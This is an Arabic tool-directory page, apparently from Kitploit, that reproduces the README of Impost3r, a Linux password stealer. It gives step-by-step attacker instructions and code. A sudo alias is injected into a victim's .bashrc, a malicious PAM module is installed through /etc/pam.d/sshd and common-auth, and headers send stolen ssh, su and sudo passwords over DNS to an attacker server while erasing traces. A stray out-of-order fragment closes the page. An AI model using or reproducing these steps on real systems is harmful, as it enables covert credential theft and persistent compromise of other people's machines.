Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Impost3r — 👻Impost3r -- لص كلمات مرور لينكس | Kitploit
أدوات/GitHubGitHub/ph4ntonn/impost3r
هجمات كلمات المرورما بعد الاستغلالاختبار الاختراقالفريق الأحمر
GitHubph4ntonn/impost3r

Impost3r

👻Impost3r -- لص كلمات مرور لينكس

عرض المستودع
664122منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

imposter.png

Impost3r

GitHub issues GitHub stars GitHub forks GitHub license

الإنجليزية

Impost3r هي أداة مكتوبة بلغة C، تُستخدم لسرقة كلمات المرور المختلفة (ssh، su، sudo) في نظام Linux.

يمكن للمستخدم استخدام هذا البرنامج لإنشاء حفرة مائية لسرقة كلمات المرور الخاصة بالمستخدمين الشرعيين.

هذه الأداة مخصصة فقط للبحث الأمني والتعليم، ويتحمل المستخدم كامل المسؤولية القانونية والمرتبطة باستخدام هذه الأداة! لا يتحمل المؤلف أي مسؤولية قانونية أو متعلقة بها!

الميزات

  • محو آثار النشاط تلقائياً
  • نقل النتائج عبر بروتوكول DNS
  • عدم إحساس المستخدم بها

التبعيات

  • gcc

طريقة الاستخدام

يمكن استخدام Impost3r لسرقة كلمات المرور الخاصة بـ sudo و su و ssh. يمكن تقسيم هذه الخدمات الثلاث إلى فئتين: sudo و ssh/su. سنناقش كل حالة على حدة أدناه.

سرقة كلمة مرور sudo

يتطلب فقط صلاحية مستخدم عادي، وليس بالضرورة صلاحية root، ولكن يمكنه فقط سرقة كلمة مرور المستخدم المقابل وليس المستخدمين الآخرين.

  • أولاً، افترض أن المهاجم يتحكم في خادم بصلاحية مستخدم عادي.

  • تحقق مما إذا كان الملف .bash_profile موجودًا في الدليل الرئيسي للمستخدم. إذا كان موجودًا: تحقق مما إذا كان .bash_profile يقوم بتحميل .bashrc بشكل صريح. إذا كان يقوم بالتحميل، فتجاوز هذه الخطوة والخطوات التالية واستمر في العمليات اللاحقة. إذا لم يقم بالتحميل، فتجاوز الخطوتين التاليتين، ويجب استبدال جميع العمليات المتعلقة بـ .bashrc أدناه بعمليات متعلقة بـ .bash_profile!!! إذا لم يكن .bash_profile موجودًا: انتقل إلى الخطوة التالية.

  • تحقق مما إذا كان الملف .bash_login موجودًا في الدليل الرئيسي للمستخدم. إذا كان موجودًا: تحقق مما إذا كان .bash_login يقوم بتحميل .bashrc بشكل صريح. إذا كان يقوم بالتحميل، فتجاوز هذه الخطوة والخطوة التالية واستمر. إذا لم يقم بالتحميل، فتجاوز الخطوة التالية، ويجب استبدال جميع العمليات المتعلقة بـ .bashrc أدناه بعمليات متعلقة بـ .bash_login!!! إذا لم يكن موجودًا: انتقل إلى الخطوة التالية.

root@kitploit:~
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
	. "$HOME/.bashrc"
    fi
fi
  • قم بنسخ ملف .bashrc للمستخدم: cp ~/.bashrc /tmp/، وضع هذه النسخة في مسار مخصص من قبل المهاجم (في هذا المثال تم وضعه في مجلد /tmp/، ويمكن للمهاجم تعديله).

  • قم بتعديل .bashrc في الدليل الرئيسي للمستخدم (~/.bashrc)، وأضف السطر التالي في نهاية الملف (يجب أن يتطابق "/tmp/.impost3r" مع FILENAME أدناه):

root@kitploit:~
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • بعد الإضافة، احفظ الملف ونفذ source ~/.bashrc.

  • بعد ذلك، يحتاج المهاجم إلى تعديل كود مصدر Impost3r /sudo/main.h:

root@kitploit:~
/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\ تعيين موقع Impost3r على الخادم الهدف
# define BACKUP_ORI_FILENAME ".bashrc" \\ تحديد ملف التهيئة الأصلي للمستخدم الذي تم نسخه احتياطيًا - سواء كان .bashrc أو .bash_profile أو .profile أو .bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\ تحديد موقع ملف التهيئة الأصلي للمستخدم الذي تم نسخه احتياطيًا على الخادم الهدف
# define SAVE_OR_SEND 0 \\ تعيين ما إذا كان سيتم حفظ النتيجة على الجهاز الهدف أو إرسالها إلى الجهاز الذي يتحكم به المهاجم بعد السرقة (إرسال=0، حفظ=1، الإرسال هو الافتراضي)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\ انتبه، إذا كنت لا ترغب في شراء نطاق لاستقبال رسائل Impost3r المرسلة ولم يتم حظر الاتصال المباشر بـ UDP على المنفذ 53 لخادم DNS الذي تتحكم به من الخادم الهدف المزروع به Impost3r، فاستخدم القيمة الافتراضية للاسم النطاق؛
\\ ولكن إذا كان الخادم الهدف المزروع به Impost3r يقيد بشكل صارم طلبات DNS الصادرة، فقم بتغيير قيمة YOUR_DOMAIN إلى النطاق الذي اشتريته، مثل ".example.com"، وقم بتعيين سجلات NS لهذا النطاق إلى عنوان خادم DNS الذي تتحكم به، وقم بتشغيل Fdns على خادم DNS هذا، وقم بتغيير قيمة REMOTE_ADDRESS أدناه إلى عنوان DNS الافتراضي للخادم الهدف المزروع به Impost3r، وقم بتغيير REMOTE_PORT إلى منفذ خدمة DNS الذي يستمع عليه عنوان DNS الافتراضي للخادم الهدف (في الغالبية العظمى من الحالات هو المنفذ 53)
# define MAX_RESEND 30 \\ تعيين الحد الأقصى لعدد مرات إعادة إرسال كلمة المرور من Impost3r إلى خادم المهاجم بعد سرقتها
# define RESEND_INTERVAL 5 \\ تعيين الفاصل الزمني بين كل إرسال
# define REMOTE_ADDRESS "192.168.0.12" \\ تعيين العنوان البعيد لإرسال كلمة المرور
# define REMOTE_PORT 53 \\ تعيين المنفذ البعيد لإرسال كلمة المرور

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\ تعيين موقع حفظ ملف النتيجة، في حالة تعيين SAVE_OR_SEND إلى 1
  • بعد التعديل، احفظ ونفذ make في الدليل الحالي.

  • احصل على الملف المُجمَّع .impost3r في الدليل الحالي.

  • قم بتحميل ملف .impost3r إلى مجلد /tmp/ على الخادم الهدف (هذا مجرد مثال، يمكنك تعديله بنفسك، فقط تأكد من تطابقه مع التعريف في الكود المصدري).

  • قم بتشغيل برنامج خادم DNS على خادم المهاجم، وانتظر حتى يستخدم المستخدم الشرعي sudo للحصول على كلمة المرور.

تأثير السرقة

نصائح

  • في حالة سرقة كلمة مرور sudo، سيقوم Impost3r تلقائيًا بمسح الآثار بعد النجاح، ولا يحتاج المهاجم إلى التنظيف يدويًا.

  • سيقوم Impost3r تلقائيًا بتحديد ما إذا كانت كلمة المرور التي أدخلها المستخدم صحيحة، ولن ينتهي الإجراء ولن يمسح الآثار إلا بعد إدخال كلمة المرور الصحيحة.

  • يرجى استخدام sudo -v بنفسك قبل استخدام Impost3r لتحديد ما إذا كان المستخدم الحالي في مجموعة sudoer، وإذا لم يكن كذلك، فلا تستخدم Impost3r.

سرقة كلمة مرور ssh/su

تختلف طريقة سرقة كلمة مرور ssh/su عن طريقة سرقة كلمة مرور sudo أعلاه. فهي تتطلب صلاحية root، ويمكنها سرقة كلمة مرور أي مستخدم.

المثال التالي يستخدم Ubuntu، و Centos مشابه، ولكن الملفات المستخدمة وطريقة التعديل قد تختلف.

  • أولاً، افترض أن المهاجم يتحكم في خادم.

  • بعد الحصول على صلاحية root من خلال رفع الصلاحيات (أو ربما قام المسؤول اللطيف بتشغيل الخدمة بصلاحية root).

  • قم أولاً بتحرير ملف كود المصدر /ssh_su/main.h الخاص بـ Impost3r.

root@kitploit:~
/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\ تعيين وضع السرقة، 0 يعني سرقة كلمة مرور ssh فقط، 1 يعني سرقة كلمة مرور ssh و su معًا، الافتراضي هو 0 (سيتم شرح الفرق لاحقًا)
# define SAVE_OR_SEND 0 \\ تعيين ما إذا كان سيتم حفظ النتيجة على الجهاز الهدف أو إرسالها إلى الجهاز الذي يتحكم به المهاجم بعد السرقة (إرسال=0، حفظ=1، الإرسال هو الافتراضي)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\ انتبه، إذا كنت لا ترغب في شراء نطاق لاستقبال رسائل Impost3r المرسلة ولم يتم حظر الاتصال المباشر بـ UDP على المنفذ 53 لخادم DNS الذي تتحكم به من الخادم الهدف المزروع به Impost3r، فاستخدم القيمة الافتراضية للاسم النطاق؛
\\ ولكن إذا كان الخادم الهدف المزروع به Impost3r يقيد بشكل صارم طلبات DNS الصادرة، فقم بتغيير قيمة YOUR_DOMAIN إلى النطاق الذي اشتريته، مثل ".example.com"، وقم بتعيين سجلات NS لهذا النطاق إلى عنوان خادم DNS الذي تتحكم به، وقم بتشغيل Fdns على خادم DNS هذا، وقم بتغيير قيمة REMOTE_ADDRESS أدناه إلى عنوان DNS الافتراضي للخادم الهدف المزروع به Impost3r، وقم بتغيير REMOTE_PORT إلى منفذ خدمة DNS الذي يستمع عليه عنوان DNS الافتراضي للخادم الهدف (في الغالبية العظمى من الحالات هو المنفذ 53)
# define MAX_RESEND 30 \\ تعيين الحد الأقصى لعدد مرات إعادة إرسال كلمة المرور من Impost3r إلى خادم المهاجم بعد سرقتها (فقط إذا كان SSH_OR_BOTH يساوي 0 يكون هذا الخيار فعالاً)
# define RESEND_INTERVAL 5 \\ تعيين الفاصل الزمني بين كل إرسال (فقط إذا كان SSH_OR_BOTH يساوي 0 يكون هذا الخيار فعالاً)
# define REMOTE_ADDRESS "192.168.0.12" \\ تعيين العنوان البعيد لإرسال كلمة المرور
# define REMOTE_PORT 53 \\ تعيين المنفذ البعيد لإرسال كلمة المرور

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\ تعيين موقع حفظ ملف النتيجة، في حالة تعيين SAVE_OR_SEND إلى 1
  • بعد التعديل، احفظ ونفذ make في الدليل الحالي.

  • احصل على الملف المُجمَّع impost3r.so.

  • قم بتحميل الملف المُجمَّع impost3r.so إلى مجلد /lib/x86_64-linux-gnu/security على الجهاز الهدف (قد يختلف اسم المجلد باختلاف الجهاز، ضعه حسب الحالة).

  • انتقل إلى مجلد /etc/pam.d، وهنا حالتان: إذا كان الوضع المختار هو سرقة كلمة مرور ssh فقط، فقم بتنفيذ vi sshd وأضف السطر التالي في نهاية الملف (لاحظ أنه باستثناء Ubuntu، قد يختلف هذا الملف بشكل كبير في أنظمة Linux الأخرى، لذا يُنصح بفهم القواعد بنفسك ثم إضافته في المكان المناسب).

root@kitploit:~
auth optional impost3r.so
account optional impost3r.so
  • احفظ واخرج، وأعد تشغيل خدمة sshd service sshd restart.

  • إذا كان الوضع المختار هو سرقة كلمة مرور ssh و su معًا، فقم بتنفيذ vi common-auth وأضف نفس السطر، ثم احفظ واخرج وأعد تشغيل خدمة sshd بنفس الطريقة.

  • قم بتشغيل برنامج خادم DNS على خادم المهاجم، وانتظر حتى يقوم المستخدم الشرعي بتسجيل الدخول إلى الجهاز الهدف عبر ssh أو استخدام su لتبديل المستخدم للحصول على كلمة المرور.

تأثير السرقة

نصائح

  • في حالة سرقة كلمة مرور ssh/su، لا يمكن لـ Impost3r مسح الآثار بسبب صلاحياته، ويحتاج المهاجم إلى مسحها بنفسه.

  • يرجى ملاحظة أنه إذا تم تعيين سرقة كلمة مرور ssh فقط، فيمكن ضمان حصول المهاجم على النتيجة بنسبة 100% تقريبًا. أما إذا تم تعيين سرقة كليهما، فلا يمكن ضمان ذلك (فقط عند تعيين الإرسال عبر DNS، أما الحفظ المحلي فلا يتأثر).

  • لا يُنصح بسرقة كلمة مرور su، وبما أن كلمة مرور ssh للمستخدم هي نفسها كلمة مرور su، فمن الأفضل عدم سرقة كلمة مرور su إذا لم تكن ضرورية، فكلمة مرور ssh كافية.

  • افتراضيًا، لا يتم سرقة كلمات المرور الفارغة. يرجى التحقق بنفسك مما إذا كان المستخدم لديه كلمة مرور فارغة (تحقق من ملف تكوين sshd لمعرفة ما إذا كان يحتوي على PermitEmptyPasswords yes، وإذا كانت فارغة، فما الفائدة من سرقتها).

ملاحظات

  • بالنسبة لبرنامج خادم DNS، استخدمت Fdns وقمت بتعديل بعض المعلمات. يمكنك العثور على الكود المصدري المعدل في مجلد Fdns. يرجى تجميعه بنفسك باستخدام الأمر gcc -o dns main.c util.c (تأكد من تعديل منفذ الاستماع في main.c أولاً).

  • قبل تجميع Fdns، تحقق من قيمة YOUR_DOMAIN في util.h وتأكد من تطابقها مع قيمة YOUR_DOMAIN المستخدمة أثناء تجميع برنامج Impost3r على الخادم المزروع، وإلا فقد تفشل السرقة.

  • هذا البرنامج تم تطويره للتعلم في وقت الفراغ، وقد يحتوي على أخطاء، فيرجى التسامح، كما نرحب بالإبلاغ عن المشكلات.

شكر وتقدير

  • Fdns
  • libbaseencode
تنزيل الأداة
.bash_login
  • تحقق مما إذا كان الملف .profile موجودًا في الدليل الرئيسي للمستخدم. إذا كان موجودًا: تحقق مما إذا كان يقوم بتحميل .bashrc بشكل صريح (افتراضيًا يتم التحميل). إذا كان يقوم بالتحميل، فتجاوز هذه الخطوة واستمر. إذا لم يقم بالتحميل، فيجب استبدال جميع العمليات المتعلقة بـ .bashrc أدناه بعمليات متعلقة بـ .profile!!! إذا لم يكن .profile موجودًا أيضًا، فلن يتمكن Impost3r من العمل من حيث المبدأ. يمكنك بطبيعة الحال أن تقرر ما إذا كنت تريد إنشاء ملف .bash_profile أو .profile وكتابة كود تحميل مشابه لما يلي لتحميل .bashrc: